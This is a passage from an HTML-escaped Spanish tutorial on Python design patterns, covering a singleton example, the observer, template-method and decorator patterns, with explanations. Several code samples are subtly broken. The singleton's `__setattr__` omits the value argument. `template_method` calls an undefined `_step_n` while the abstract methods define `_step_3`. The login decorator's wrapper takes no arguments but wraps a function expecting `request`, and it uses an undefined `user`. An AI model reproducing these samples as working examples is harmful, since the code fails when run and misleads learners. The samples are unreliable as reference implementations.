style=&#34;color:#5af78e&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{1}&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;format(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;val)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;        instance &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;None&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;__new__&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;cls&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;not&lt;/span&gt; SingletonObject&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;instance:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;                SingletonObject&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;instance &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; SingletonObject&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;__SingletonObject()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; SingletonObject&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;instance&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;__getattr__&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, name):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;getattr&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;instance, name)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;__setattr__&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, name):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;setattr&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;instance, name)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;patron-de-diseno-observador&#34;&gt;Patrón de diseño observador&lt;/h3&gt;&#xA;&lt;p&gt;El patrón observador permite a un objeto mantenerse al tanto sobre los cambios de estado de otro objeto. Por ejemplo si queremos que se le notifique a cada usuario con un email cada vez que se actualicen las condiciones de uso de un servicio o dejarle saber a todos los usuarios cada que vez que un periódico digital publique nuevo material.&lt;/p&gt;&#xA;&lt;p&gt;Para lograr esto nos aseguraremos de que cada observador posea un método &lt;em&gt;update&lt;/em&gt; (o como quieras llamarlo), este método será llamado por el Observable, en esta clase, por medio de un &lt;em&gt;callback&lt;/em&gt; que es una función anónima. De esta manera tendremos un desacoplamiento de las clases que observan, pues estas no necesitan conocer ningún método del objeto, únicamente necesitan contar con un método &lt;em&gt;update&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Task&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;object&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;__init__&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, user, _type):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;user &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; user&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;_type &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; _type&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;complete&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;user&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;add_experience(&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;user&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;wallet&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;increase_balance(&lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; badge &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;user&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;badges:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;_type &lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt; badge&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;_type:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;                badge&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;add_points(&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;ConcreteObserver&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;object&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;update&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, observed):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;        &lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Observing: &lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{}&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;format(observed))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Observable&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;object&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;__init__&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;callbacks &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;set&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;register&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, callback):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;callbacks&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;add(callback)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;unregister&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, callback):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;callbacks&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;discard(callback)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;unregister_all&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;callbacks &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;set&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;update_all&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; callback &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;callbacks:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;            callback(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;main&lt;/span&gt;():&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;    observed &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Observable()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;    observer1 &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; ConcreteObserver()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;    observed&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;register(&lt;span style=&#34;color:#ff6ac1&#34;&gt;lambda&lt;/span&gt; x: observer1&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;update(x))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;    observed&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;update_all()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;__name__&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;__main__&amp;#34;&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;    main()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;patron-de-diseno-template&#34;&gt;Patrón de diseño template&lt;/h3&gt;&#xA;&lt;p&gt;En este patrón se busca utilizar el decorador &lt;em&gt;@abstractmethod&lt;/em&gt; para garantizar la implementación de los métodos en una clase derivada.&lt;/p&gt;&#xA;&lt;p&gt;En el siguiente ejemplo estamos obligando, bajo amenaza de que ocurra un error, a que la clase hija implemente los métodos &lt;em&gt;step1&lt;/em&gt;, &lt;em&gt;step2&lt;/em&gt; y &lt;em&gt;step3&lt;/em&gt;. El método &lt;em&gt;template_method&lt;/em&gt; se hereda tal cual está, por lo que no necesita definirse.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; abc&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;TemplateAbstractBaseClass&lt;/span&gt;(metaclass&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;abc&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ABCMeta):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;template_method&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;_step_1()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;_step_2()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;_step_n()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff9f43&#34;&gt;@abc.abstractmethod&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;_step_1&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;): &lt;span style=&#34;color:#ff6ac1&#34;&gt;pass&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff9f43&#34;&gt;@abc.abstractmethod&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;_step_2&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;): &lt;span style=&#34;color:#ff6ac1&#34;&gt;pass&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff9f43&#34;&gt;@abc.abstractmethod&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;_step_3&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;): &lt;span style=&#34;color:#ff6ac1&#34;&gt;pass&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;ConcreteImplementationClass&lt;/span&gt;(TemplateAbstractBaseClass):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;_step_1&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;): &lt;span style=&#34;color:#ff6ac1&#34;&gt;pass&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;_step_2&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;): &lt;span style=&#34;color:#ff6ac1&#34;&gt;pass&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;_step_3&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;): &lt;span style=&#34;color:#ff6ac1&#34;&gt;pass&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;patron-de-diseno-decorador&#34;&gt;Patrón de diseño decorador&lt;/h3&gt;&#xA;&lt;p&gt;El patrón decorador nos permite agregarle funcionalidad extra a una función sin modificarla directamente. Se usa bastante en Django y otros frameworks para restringir vistas de acuerdo a permisos o para verificar que un usuario esté loggeado. Funcionan creando una función que recibe a nuestra función como argumento, dentro de esta función crearemos un envoltorio (wrapper), que dota del funcionamiento extra a nuestra función, nuestro decorador retornará ese envoltorio.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;requires_login&lt;/span&gt;(function):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;wrapper&lt;/span&gt;():&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; user&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;is_logged_in():&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; function()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; {&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;permission_denied&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Authenticated user required&amp;#34;&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; wrapper&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@requires_login&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;access_dashboard&lt;/span&gt;(request):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora cualquier acceso a la función &lt;em&gt;access_dashboard&lt;/em&gt; revisará si el usuario está loggeado, si lo está la función se ejecutará de manera normal, si no lo está devolveremos un mensaje de 